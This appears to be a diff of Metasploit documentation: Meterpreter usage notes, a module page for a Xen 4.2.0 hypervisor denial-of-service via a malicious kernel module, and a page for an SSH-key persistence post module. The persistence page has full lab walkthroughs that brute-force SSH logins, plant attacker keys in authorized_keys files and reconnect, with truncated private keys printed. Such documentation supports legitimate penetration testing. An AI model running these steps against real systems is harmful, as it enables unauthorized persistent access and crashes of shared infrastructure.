meterpreter > set_timeouts
|
||||
Usage: set_timeouts [options]
|
||||
|
||||
Set the current timeout options.
|
||||
Any or all of these can be set at once.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-c <opt> Comms timeout (seconds)
|
||||
-h Help menu
|
||||
-t <opt> Retry total time (seconds)
|
||||
-w <opt> Retry wait time (seconds)
|
||||
-x <opt> Expiration timout (seconds)
|
||||
```
|
||||
|
||||
To see the current timeout configuration, you can use the ```get_timeouts``` command:
|
||||
|
||||
```
|
||||
meterpreter > get_timeouts
|
||||
Session Expiry : @ 2016-03-11 21:15:58
|
||||
Comm Timeout : 300 seconds
|
||||
Retry Total Time: 3600 seconds
|
||||
Retry Wait Time : 10 seconds
|
||||
```
|
||||
|
||||
To learn more about timeout control, please [go here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control).
|
||||
|
||||
## Meterpreter Transport Control
|
||||
|
||||
Transport Control allows you manage transports on the fly while the payload session is still
|
||||
running. Meterpreter can automatically cycle through the transports when communication fails,
|
||||
or you can do it manually.
|
||||
|
||||
To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control).
|
||||
|
||||
@@ -580,7 +580,7 @@ The route command in Meterpreter allows you change the routing table that is on
|
||||
The portfwd command allows you to talk to a remote service like it's local. For example, if you are able to compromise a host via SMB, but are not able to connect to the remote desktop service, then you can do:
|
||||
|
||||
```
|
||||
meterpreter > portfwd add –l 3389 –p 3389 –r > target host >
|
||||
meterpreter > portfwd add –l 3389 –p 3389 –r [Target Host]
|
||||
```
|
||||
|
||||
And that should allow you to connect to remote desktop this way on the attacker's box:
|
||||
@@ -611,7 +611,8 @@ It is very simple to use. At the Meterpreter prompt, simply do:
|
||||
meterpreter > sleep 20
|
||||
```
|
||||
|
||||
And that will allow Meterpreter to sleep 20 seconds, and will reconnect.
|
||||
And that will allow Meterpreter to sleep 20 seconds, and will reconnect as long as the payload
|
||||
handler remains active (such as being a background job).
|
||||
|
||||
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control).
|
||||
|
||||
@@ -660,6 +661,7 @@ Transport Control allows you manage transports on the fly while the payload sess
|
||||
|
||||
To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control).
|
||||
|
||||
|
||||
## Using the Post Exploitation API in IRB
|
||||
|
||||
To enter IRB, do the following at the Meterpreter prompt:
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
This is a post exploitation module that exploits a memory corruption bug in Xen
|
||||
4.2.0, causing a denial-of-service against the hypervisor from a guest VM. From
|
||||
the original advisory:
|
||||
|
||||
> Downgrading the grant table version of a guest involves freeing its
|
||||
status pages. This freeing was incomplete - the page(s) are freed back
|
||||
to the allocator, but not removed from the domain's tracking
|
||||
list. This would cause list corruption, eventually leading to a
|
||||
hypervisor crash.
|
||||
|
||||
## Mechanism
|
||||
|
||||
This module aims to be portable by building the exploit module on the target
|
||||
machine directly, building a malicious Linux Kernel Module (LKM) and inserting it
|
||||
into the kernel of the paravirtualized host. It is necessary to build the
|
||||
kernel module on the fly, since kernel ABIs are notoriously unstable and
|
||||
unlikely to work between multiple kernel versions.
|
||||
|
||||
This module is tested on Debian and Ubuntu hosts running various versions of
|
||||
Xen. Because the LKM is built at exploit-time, it requires that build tools and
|
||||
kernel headers for the currently-running kernel to exist on the target machine.
|
||||
|
||||
## Example output
|
||||
|
||||
Failure (bad Xen version):
|
||||
|
||||
```
|
||||
msf > use exploit/multi/handler
|
||||
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
|
||||
payload => linux/x86/meterpreter/reverse_tcp
|
||||
msf exploit(handler) > set lhost 192.168.1.1
|
||||
lhost => 192.168.1.1
|
||||
msf exploit(handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
|
||||
[*] Sending stage (1495599 bytes) to 192.168.1.1
|
||||
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.2:43488) at 2016-07-13 00:27:31 -0500
|
||||
|
||||
meterpreter >
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf exploit(handler) > use post/linux/dos/xen_420_dos
|
||||
msf post(xen_420_dos) > set session -1
|
||||
session => -1
|
||||
msf post(xen_420_dos) > run
|
||||
|
||||
[*] Detecting requirements...
|
||||
[+] Detected root privilege
|
||||
[+] Detected build-essential
|
||||
[+] Detected Xen
|
||||
[+] Detected running Xen
|
||||
[*] Xen Version: 4.6.0
|
||||
[-] Sorry, wrong Xen Version
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
Success:
|
||||
|
||||
```
|
||||
msf post(xen_420_dos) > run
|
||||
|
||||
[*] Detecting requirements...
|
||||
[+] Detected root privilege
|
||||
[+] Detected build-essential
|
||||
[+] Detected Xen
|
||||
[+] Detected running Xen
|
||||
[*] Xen Version: 4.2.0
|
||||
[-] Detected correct Xen version
|
||||
[*] DoS was successful!
|
||||
[*] Post module execution completed
|
||||
[*] 192.168.1.2 - Command shell session 1 closed. Reason: Died from EOFError
|
||||
```
|
||||
|
||||
## Future Work
|
||||
|
||||
A kernel module compilation mixin that works like the Dynamic Kernel Module
|
||||
Support (DKMS) framework, would be useful in order to allow other kernel-level
|
||||
exploits to be built as-needed. Supporting this using the Metasploit Post
|
||||
Exploitation API and supporting more Linux distributions would make similar
|
||||
exploits easier to build.
|
||||
@@ -0,0 +1,541 @@
|
||||
### Creating A Testing Environment
|
||||
|
||||
This module has been tested against:
|
||||
|
||||
1. Kali Rolling
|
||||
2. Ubuntu 16.04
|
||||
3. Centos 6
|
||||
4. Fedora 20
|
||||
5. FreeBSD 9
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
4. Do: `use post/linux/manage/sshkey_persistence`
|
||||
5. Do: `set session #`
|
||||
6. Optional Do: `set username`
|
||||
7. Do: `set verbose true`
|
||||
8. Optional Do: `Set sshd_config`
|
||||
9. Do: `exploit`
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**sshd_config**
|
||||
|
||||
Location of the sshd_config file on the remote system. We use this to determine if the authorized_keys file location has changed on the system. If it hasn't, we default to .ssh/authorized_keys
|
||||
|
||||
**username**
|
||||
|
||||
If set, we only write our key to this user. If not, we'll write to all users
|
||||
|
||||
**PubKey**
|
||||
|
||||
A public key to use. If not provided, a pub/priv key pair is generated automatically
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04 (user level)
|
||||
|
||||
Get initial access
|
||||
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'tiki:tiki' 'uid=1000(tiki) gid=1000(tiki) groups=1000(tiki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),117(lpadmin),118(sambashare) Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.229:38886 -> 192.168.2.190:22) at 2016-06-19 09:52:48 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
Use the post module to write the ssh key
|
||||
|
||||
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence
|
||||
msf post(sshkey_persistence) > set session 1
|
||||
session => 1
|
||||
msf post(sshkey_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf post(sshkey_persistence) > set user tiki
|
||||
user => tiki
|
||||
msf post(sshkey_persistence) > set CreateSSHFolder true
|
||||
CreateSSHFolder => true
|
||||
msf post(sshkey_persistence) > exploit
|
||||
|
||||
[*] Checking SSH Permissions
|
||||
[+] Pubkey set to yes
|
||||
[*] Authorized Keys File: .ssh/authorized_keys
|
||||
[*] Added User SSH Path: /home/tiki/.ssh
|
||||
[*] Attempting to create ssh folders that don't exist
|
||||
[+] Storing new private key as /root/.msf4/loot/20160619095250_default_192.168.2.190_id_rsa_425588.txt
|
||||
[*] Adding key to /home/tiki/.ssh/authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 761 bytes in 1 chunks of 2886 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Post module execution completed
|
||||
|
||||
Verify our access works
|
||||
|
||||
msf post(sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey
|
||||
msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.190
|
||||
rhosts => 192.168.2.190
|
||||
msf auxiliary(ssh_login_pubkey) > set key_path /root/.msf4/loot/
|
||||
key_path => /root/.msf4/loot/
|
||||
msf auxiliary(ssh_login_pubkey) > set username tiki
|
||||
username => tiki
|
||||
msf auxiliary(ssh_login_pubkey) > run
|
||||
|
||||
[*] 192.168.2.190:22 SSH - Testing Cleartext Keys
|
||||
[*] SSH - Testing 2 keys from /root/.msf4/loot
|
||||
[+] SSH - Success: 'tiki:-----BEGIN RSA PRIVATE KEY-----
|
||||
...snip...
|
||||
7m+il2AWyuPWOWEnpXRur3knruE2k97ObMH92FeI8SYaIThvqNUL
|
||||
-----END RSA PRIVATE KEY-----
|
||||
' 'uid=1000(tiki) gid=1000(tiki) groups=1000(tiki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),117(lpadmin),118(sambashare) Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 2 opened (192.168.2.229:42580 -> 192.168.2.190:22) at 2016-06-19 09:56:22 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
If you try to run for a user you don't have permissions for
|
||||
|
||||
msf post(sshkey_persistence) > exploit
|
||||
|
||||
[*] Checking SSH Permissions
|
||||
[+] Pubkey set to yes
|
||||
[*] Authorized Keys File: .ssh/authorized_keys
|
||||
[*] Added: /root/.ssh
|
||||
[*] Attempting to create ssh folders that don't exist
|
||||
[+] /root/.ssh
|
||||
[*] Creating /root/.ssh folder
|
||||
[-] No users found with a .ssh directory
|
||||
[*] Post module execution completed
|
||||
|
||||
### CentOS 6 (user level)
|
||||
ssh keys must be enabled in sshd_config.
|
||||
|
||||
Get Initial Access
|
||||
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username user
|
||||
username => user
|
||||
msf auxiliary(ssh_login) > set password password
|
||||
password => password
|
||||
msf auxiliary(ssh_login) > set rhosts 192.168.4.62
|
||||
rhosts => 192.168.4.62
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'user:password' 'uid=500(user) gid=500(user) groups=500(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.localdomain 2.6.32-71.el6.x86_64 #1 SMP Fri May 20 03:51:51 BST 2011 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.229:39289 -> 192.168.4.62:22) at 2016-06-19 15:27:27 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
Use the post module to write the ssh key
|
||||
|
||||
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence
|
||||
msf post(sshkey_persistence) > set session 1
|
||||
session => 1
|
||||
msf post(sshkey_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf post(sshkey_persistence) > set user user
|
||||
user => user
|
||||
msf post(sshkey_persistence) > exploit
|
||||
|
||||
[*] Checking SSH Permissions
|
||||
[*] Authorized Keys File: .ssh/authorized_keys
|
||||
[*] Added User SSH Path: /home/user/.ssh
|
||||
[*] Attempting to create ssh folders that don't exist
|
||||
[+] Storing new private key as /root/.msf4/loot/20160619152757_default_192.168.4.62_id_rsa_633695.txt
|
||||
[*] Creating /home/user/.ssh/authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1447 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Post module execution completed
|
||||
|
||||
Verify our access works
|
||||
|
||||
msf post(sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey
|
||||
msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.4.62
|
||||
rhosts => 192.168.4.62
|
||||
msf auxiliary(ssh_login_pubkey) > set key_path /root/.msf4/loot/
|
||||
key_path => /root/.msf4/loot/
|
||||
msf auxiliary(ssh_login_pubkey) > set username user
|
||||
username => user
|
||||
msf auxiliary(ssh_login_pubkey) > run
|
||||
|
||||
[*] 192.168.4.62:22 SSH - Testing Cleartext Keys
|
||||
[*] SSH - Testing 6 keys from /root/.msf4/loot
|
||||
[+] SSH - Success: 'user:-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEA8xtiDZrE6XgkOJaatg+TvUcrEr92/GDSZUtEqO9RvvvPO1Yt
|
||||
...snip...
|
||||
Ubz5hiBypg1/C2TMB9jH3QLKmT66Te7rfym7rOBIgIJKivs5JLZe7w==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
' 'uid=500(user) gid=500(user) groups=500(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.localdomain 2.6.32-71.el6.x86_64 #1 SMP Fri May 20 03:51:51 BST 2011 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 2 opened (192.168.2.229:34721 -> 192.168.4.62:22) at 2016-06-19 15:49:34 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
### CentOS 6 (root)
|
||||
The following sshd_config changes were made:
|
||||
|
||||
PubkeyAuthentication yes
|
||||
AuthorizedKeysFile .sshsecret/.authorized_keys
|
||||
PermitRootLogin yes
|
||||
|
||||
|
||||
Get Initial Access
|
||||
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login) > set password pass
|
||||
password => pass
|
||||
msf auxiliary(ssh_login) > set rhosts 192.168.4.62
|
||||
rhosts => 192.168.4.62
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'root:pass' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.localdomain 2.6.32-71.el6.x86_64 #1 SMP Fri May 20 03:51:51 BST 2011 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.229:46420 -> 192.168.4.62:22) at 2016-06-19 15:58:32 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
Use the post module to write the ssh key. Keep in mind NOT setting a user (targeted), and CreateSSHFolder will possibly make MANY folders/files as can be observed below.
|
||||
|
||||
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence
|
||||
msf post(sshkey_persistence) > set session 1
|
||||
session => 1
|
||||
msf post(sshkey_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf post(sshkey_persistence) > set CreateSSHFolder true
|
||||
CreateSSHFolder => true
|
||||
msf post(sshkey_persistence) > exploit
|
||||
|
||||
[*] Checking SSH Permissions
|
||||
[+] Pubkey set to yes
|
||||
[*] Authorized Keys File: .sshsecret/.authorized_keys
|
||||
[*] Finding .sshsecret directories
|
||||
[*] Attempting to create ssh folders that don't exist
|
||||
[*] Creating //.sshsecret folder
|
||||
[*] Creating /bin/.sshsecret folder
|
||||
[*] Creating /dev/.sshsecret folder
|
||||
[*] Creating /etc/abrt/.sshsecret folder
|
||||
[*] Creating /etc/ntp/.sshsecret folder
|
||||
[*] Creating /proc/.sshsecret folder
|
||||
[*] Creating /root/.sshsecret folder
|
||||
[*] Creating /sbin/.sshsecret folder
|
||||
[*] Creating /usr/games/.sshsecret folder
|
||||
[*] Creating /var/adm/.sshsecret folder
|
||||
[*] Creating /var/cache/rpcbind/.sshsecret folder
|
||||
[*] Creating /var/empty/saslauth/.sshsecret folder
|
||||
[*] Creating /var/empty/sshd/.sshsecret folder
|
||||
[*] Creating /var/ftp/.sshsecret folder
|
||||
[*] Creating /var/gopher/.sshsecret folder
|
||||
[*] Creating /var/lib/avahi-autoipd/.sshsecret folder
|
||||
[*] Creating /var/lib/gdm/.sshsecret folder
|
||||
[*] Creating /var/lib/hsqldb/.sshsecret folder
|
||||
[*] Creating /var/lib/mysql/.sshsecret folder
|
||||
[*] Creating /var/lib/nfs/.sshsecret folder
|
||||
[*] Creating /var/run/avahi-daemon/.sshsecret folder
|
||||
[*] Creating /var/run/pulse/.sshsecret folder
|
||||
[*] Creating /var/spool/lpd/.sshsecret folder
|
||||
[*] Creating /var/spool/mail/.sshsecret folder
|
||||
[*] Creating /var/spool/postfix/.sshsecret folder
|
||||
[*] Creating /var/spool/uucp/.sshsecret folder
|
||||
[*] Creating /var/www/.sshsecret folder
|
||||
[+] Storing new private key as /root/.msf4/loot/20160619155920_default_192.168.4.62_id_rsa_271813.txt
|
||||
[*] Creating //.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Creating /bin/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /dev/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /etc/abrt/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /etc/ntp/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Adding key to /home/user/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 761 bytes in 1 chunks of 2910 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /root/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /sbin/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /usr/games/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/adm/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/cache/rpcbind/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/empty/saslauth/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/empty/sshd/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/ftp/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/gopher/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/lib/avahi-autoipd/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/lib/gdm/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/lib/hsqldb/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/lib/mysql/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/lib/nfs/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/run/avahi-daemon/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/run/pulse/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/spool/lpd/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/spool/mail/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/spool/postfix/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/spool/uucp/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Creating /var/www/.sshsecret/.authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[*] Post module execution completed
|
||||
|
||||
|
||||
### FreeBSD9 (root)
|
||||
|
||||
Several sshd_config mods were needed to allow root login, and enable the service to run correctly.
|
||||
|
||||
Get Initial Access
|
||||
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login) > set password password
|
||||
password => password
|
||||
msf auxiliary(ssh_login) > set rhosts 192.168.2.130
|
||||
rhosts => 192.168.2.130
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'root:password' 'uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) FreeBSD freebsd9 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.229:41724 -> 192.168.2.130:22) at 2016-06-19 22:10:59 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
Use the post module to write the ssh key
|
||||
|
||||
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence
|
||||
msf post(sshkey_persistence) > set session 1
|
||||
session => 1
|
||||
msf post(sshkey_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf post(sshkey_persistence) > set username root
|
||||
username => root
|
||||
msf post(sshkey_persistence) > exploit
|
||||
|
||||
[*] Checking SSH Permissions
|
||||
[+] Pubkey set to yes
|
||||
[*] Authorized Keys File: .ssh/authorized_keys
|
||||
[*] Finding .ssh directories
|
||||
[+] Storing new private key as /root/.msf4/loot/20160619221108_default_192.168.2.130_id_rsa_441694.txt
|
||||
[*] Creating /root/.ssh/authorized_keys
|
||||
[*] Max line length is 131073
|
||||
[*] Writing 380 bytes in 1 chunks of 1461 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Post module execution completed
|
||||
|
||||
Verify our access works
|
||||
|
||||
msf post(sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey
|
||||
msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.130
|
||||
rhosts => 192.168.2.130
|
||||
msf auxiliary(ssh_login_pubkey) > set key_path /root/.msf4/loot/
|
||||
key_path => /root/.msf4/loot/
|
||||
msf auxiliary(ssh_login_pubkey) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login_pubkey) > run
|
||||
|
||||
[*] 192.168.2.130:22 SSH - Testing Cleartext Keys
|
||||
[*] SSH - Testing 4 keys from /root/.msf4/loot
|
||||
[+] SSH - Success: 'root:-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEowIBAAKCAQEAqBC5XwkPOAtFn8zCFWIs3IIzUUfMvJPWxQQl1Porf8GiSs2B
|
||||
...snip...
|
||||
6aj815iPJp9X5vnIR6mRdTJP9UQraPe6jneicx8QfncfoqJbA2v7
|
||||
-----END RSA PRIVATE KEY-----
|
||||
' 'uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) FreeBSD freebsd9 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 '
|
||||
[*] Command shell session 2 opened (192.168.2.229:32991 -> 192.168.2.130:22) at 2016-06-19 22:14:16 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
|
||||
### Fedora 20 (root)
|
||||
|
||||
Get Initial Access
|
||||
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login) > set password password
|
||||
password => password
|
||||
msf auxiliary(ssh_login) > set rhosts 192.168.2.143
|
||||
rhosts => 192.168.2.143
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.homeGroup 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.229:35460 -> 192.168.2.143:22) at 2016-06-19 20:27:53 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
Use the post module to write the ssh key
|
||||
|
||||
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence
|
||||
msf post(sshkey_persistence) > set session 1
|
||||
session => 1
|
||||
msf post(sshkey_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf post(sshkey_persistence) > set user root
|
||||
user => root
|
||||
msf post(sshkey_persistence) > exploit
|
||||
|
||||
[*] Checking SSH Permissions
|
||||
[*] Authorized Keys File: .ssh/authorized_keys
|
||||
[*] Added User SSH Path: /root/.ssh
|
||||
[+] Storing new private key as /root/.msf4/loot/20160619202835_default_192.168.2.143_id_rsa_458964.txt
|
||||
[*] Creating /root/.ssh/authorized_keys
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 380 bytes in 1 chunks of 1456 bytes (octal-encoded), using printf
|
||||
[+] Key Added
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Post module execution completed
|
||||
|
||||
Verify our access works
|
||||
|
||||
msf post(sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey
|
||||
msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.143
|
||||
rhosts => 192.168.2.143
|
||||
